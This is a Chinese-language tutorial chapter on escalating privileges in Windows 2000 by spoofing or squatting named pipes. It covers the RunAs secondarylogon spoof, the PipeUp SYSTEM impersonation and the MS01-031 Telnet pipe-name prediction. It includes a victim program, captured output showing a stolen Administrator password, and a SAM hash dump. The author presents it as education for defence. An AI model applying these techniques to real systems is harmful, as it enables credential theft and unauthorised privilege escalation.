讲到Exploit都会涉及到提升权限的问题,所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说,你用一般用户的账号登录Windows NT/Windows 2000后,你就只能作有限的操作,却不能加减用户,不能往系统目录中存写文件等等;但等到你通过系统的漏洞获得了Administrator或者Local System的权限以后,你也就可以作这些事了。
我研究Exploit的时间并不是很长,但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下,居然返回3000多个结果。要知道,这还只是公布出来的部分,江湖中还有很多必杀绝技是不轻易示人的。
要想在这里详细地介绍所有Windows中提升权限的方法,我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢,这一章所针对的读者应该是丐帮的入门弟子,如果你们哪位功力要用两个以上的麻袋来装的话,请尽管跳过这一章。
我在选择这一章的Exploit例子时,有意选择针对W2K操作系统、附带有源程序的例子,这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功,但是我感觉它们有不少可借鉴之处,可以通过学习它们来了解黑客的思路,从而提高自己的反入侵能力。
记住我的机器dallas是W2K Service Pack 1,如果你们的计算机运行不同版本的W2K Service Pack,这些Exploit可能需要改动。
顺便说一句,实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法,就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中,没有SUID这种说法,但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能,而且是有可能被Exploit的。
利用Windows 2000中的Named Pipe来提升权限
Windows 2000
中的RunAs服务进程可以让用户甲以用户乙的权限运行程序,这类似于Unix和Linux系统中SUID位功能。W2K中的一个API:CreateProcessWithLogonW就利用了RunAs服务进程,用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication,如果Authentication成功,那么就接着运行指定的程序,而且这个程序运行时具有用户乙的权限。
CreateProcessWithLogonW API的定义如下:
BOOL CreateProcessWithLogonW(
LPCWSTR , // 用户乙的账号(Account)
LPCWSTR , //用户乙的域(Domain)
LPCWSTR , // 用户乙的密码(Password)
DWORD , // logon option
LPCWSTR , // executable module name
LPWSTR , // command-line string
DWORD , // creation flags
LPVOID , // new environment block
LPCWSTR , // current directory name
LPSTARTUPINFOW , // startup information
LPPROCESS_INFORMATION // process information
);
那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢?在Windows操作系统中有很多Interprocess Communication的方法,大概最常见的就是 Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe,不过那是没有名字的pipe (Anonymous Pipe);在这里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)与RunAs联络的,这个named Pipe就是“\.pipesecondarylogon”。
到目前为止,一切都正常。大家要问:RunAs的漏洞在哪里呢?它的漏洞是如何被Exploit的呢?根据RADIX Team的解释:当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时,它是不会核实“\.pipesecondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话,黑客进程可以趁机创建一个也叫“\.pipesecondarylogon”的named Pipe,然后黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了,它也不先调查一下Named Pipe另一端的进程身份,就把用户乙的账号信息由伪造的named Pipe传了过去,传呀传,传呀传,一直传到黑客程序的耳朵里。
RADIX Team还编写了一个Exploit程序radix1112200101,这个程序把通过Named Pipe “\.pipesecondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,我就不转载这个程序了,大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp,它以超级用户Administrator的权限启动一个NotePad程序。
<==========================radixvictim.cpp===============================>
// radixvictim.cpp : Defines the entry point for the application.
//
#define _WIN32_WINNT 0x0500
#define UNICODE
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <winuser.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow = SW_SHOW)
{
// TODO: Place code here.
LPCWSTR lpUsername = L"Administrator"; // user's name
LPCWSTR lpDomain = L"dallas"; // user's domain
LPCWSTR lpPassword = L"moda"; // user's password
DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option
LPCWSTR lpApplicationName = L"D:\Winnt\NotePad.exe";
LPWSTR lpCommandLine = L"NotePad.exe"; // command-line string
DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags
LPVOID lpEnvironment = NULL; // new environment block
LPCWSTR lpCurrentDirectory = NULL; // current directory name
STARTUPINFO StartupInfo; // startup information
PROCESS_INFORMATION ProcessInfo; // process information
BOOL ret;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));
ret = CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
&StartupInfo,
&ProcessInfo
);
if (! ret )
ExitProcess (GetLastError()) ;
return 0;
}
<================================================================>
在伪造Named Pipe之前,必须关闭RunAs的“\.pipesecondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。
我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\.pipesecondarylogon”就关闭(Close)了。
再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\.pipesecondarylogon”。
D:MyJobsecuritylabradixDebug>radix1112200101
Created pipe and waiting for clients...
怎么确定“\.pipesecondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:
D:MyJobtoolpipelistRELEASE>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
netNtControlPipe1 1 1
DhcpClient 1 -1
netNtControlPipe2 1 1
Winsock2CatalogChangeListener-194-0 1 1
netNtControlPipe3 1 1
spoolss 2 -1
。。。。。。。
。。。。。。。
netNtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10
D:MyJobtoolpipelistRELEASE>
你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。
现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:
D:MyJobsecuritylabradixDebug>radix1112200101
Created pipe and waiting for clients...
Read 4 bytes. (ASCII Dump)
>
? Read 318 bytes. (ASCII Dump)
□
? ? 8
X j □ □
? ? ? - + -
? A d m i n
i s t r a t o r
? d a l l a
s ? m o d a
* D
: W i n n t
N o t e P a d .
e x e ? N o
t e P a d . e x
e l
D H l
W i n S
t a 0 D e f a
u l t _
D:MyJobsecuritylabradixDebug>
你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!
这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\.pipesecondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。
类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:
我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:
HKEY_LOCAL_MACHINE
SYSTEM
CurrentControlSet
Control
ServiceCurrent
如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\.pipenetNtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。
maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。
你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。
先以Administrator的账号登录dallas,把ClipBook服务进程停止。
再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:
D:MyJobsecuritylabPipeUpDebug>pipeup
The ClipBook service is not started.
More help is available by typing NET HELPMSG 3521.
Impersonating: SYSTEM
Dumping SAM for RID 500 ...
F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
0000
V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400
00006c00000000000000300100000000000000000000300100000000000000000000300100000000
00000000000030010000000000000000000030010000000000000000000030010000000000000000
00003001000000000000000000003001000000000000000000003001000008000000010000003801
000014000000000000004c0100001400000000000000600100000400000000000000640100000400
000000000000010014808800000098000000140000003000000002001c000100000002c014004400
05010101000000000001000000000200580003000000000014005b03020001010000000000010000
000000001800ff070f00010200000000000520000000200200000000240044000200010500000000
000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102
0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200
00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00
72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000
63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100
01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100
010001000100
D:MyJobsecuritylabPipeUpDebug>
大家看了上面两个例子有什么想法呢?肯定有人会觉得这些Exploit有“做弊”的嫌疑:一方面,在radix1112200101(或PipeUp)运行之前,RunAs(或ClipBook)服务进程都必须先终止运行,这样黑客进程才有可能伪造Named Pipe,才有机会窃取Administrator(或Local System)的账号信息;而另一方面,黑客必须先取得至少Administrator的权限才能终止RunAs(或ClipBook)进程。
这两个方面看起来是互为前提条件的,是个无解的“Deadlock”。实际上,我在SecurityFocus网站上看到Microsoft针对Exploit程序radix1112200101的回复,它指出这个Exploit是两难的,现实中不太可能发生。
要实现这个Exploit确实有些难度,但是这并不等于不会发生!假如某个服务进程有Bugs,象缓冲区溢出呀、Signal不当reentrant呀等等,那么在运行中这个服务进程就有可能被黑客故意整垮掉(Crash),然后黑客就可以伪造它的Named Pipe,再利用上面的Exploit程序提升其权限。
而且有时候我们并不需要先终止服务进程,我在Microsoft的Security Bulletins网站上找到一个例子----编号为MS01-031的一篇文章 “Predictable Name Pipes Could Enable Privilege Elevation Via Telnet”。中文大意是说:当你通过Telnet远程联线到Windows 2000系统中的Telnetd服务进程时,Telnetd会创建一个新的Named Pipe,同时运行这个Named Pipe携带的初始化程序。由于这个Named Pipe的名字是可以猜到的(Predictable),所以黑客可以抢先用猜到的名字创建这个Named Pipe,同时让这个Named Pipe携带黑客码作为初始化程序;当Telnetd服务进程发现这个Named Pipe已经存在时,它既不重新创建一个新的Named Pipe,也不核实一下这个Named Pipe的创建者是否可以信赖(Trustable),相反,它直接使用这个Named Pipe,并且把其携带的黑客码当成初始化程序运行。
由于在缺省设置的情况下,Telnetd服务进程具有Local System的权限,所以黑客码也将以这个最高的权限横冲直撞。
Microsoft
的文章并没有告诉我们这个可以猜得到的Named Pipe名字是什么----这是可以理解的,毕竟谁也不会开门掬盗。不过我在dallas上作了个试验:分别联结两个Telnet Session到Dallas上,然后用Pipelist程序观察在Telnet后Named Pipe的变化情况:
D:MyJobtoolpipelistDebug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 52 -1
scerpc 2 -1
netNtControlPipe1 1 1
。。。。。。。。。。
tapsrv 2 -1
ROUTER 2 -1
WMIEP_644 2 -1
WMIEP_2c8 2 -1
netNtControlPipe28 1 1
telnetd000001fc.00000000 1 1
telnetd000001fc.00000001 1 1
telnetd000001fc.00000002 1 1
telnetd000001fc.00000003 1 1
上面用黑体字标出来的Named Pipe:netNtControlPipe28属于Telnetd服务进程,而telnetd000001fc.00000000与telnetd000001fc.00000001属于第一个Telnet Session,telnetd000001fc.00000002与telnetd000001fc.00000003属于第二个Telnet Session。
如果这时有第三个用户Telnet进来的话,Telnetd要用到的Named Pipe名字将会是telnetd000001fc.00000004与telnetd000001fc.00000005,我敢赌100块钱!!!
你们看到,这个例子并不需要终止任何服务进程,理论上说你只需要具有一般用户账号就可以提升你的权限到Local System级别:先以一般用户账号伪造Named Pipe并让它附带黑客码作为初始化程序,然后以同一账号远程联线到象dallas这样的机器上,Telnetd服务进程会主动运行你附带在Named Pipe上的黑客码,而且你的黑客码是以Local System权限运行。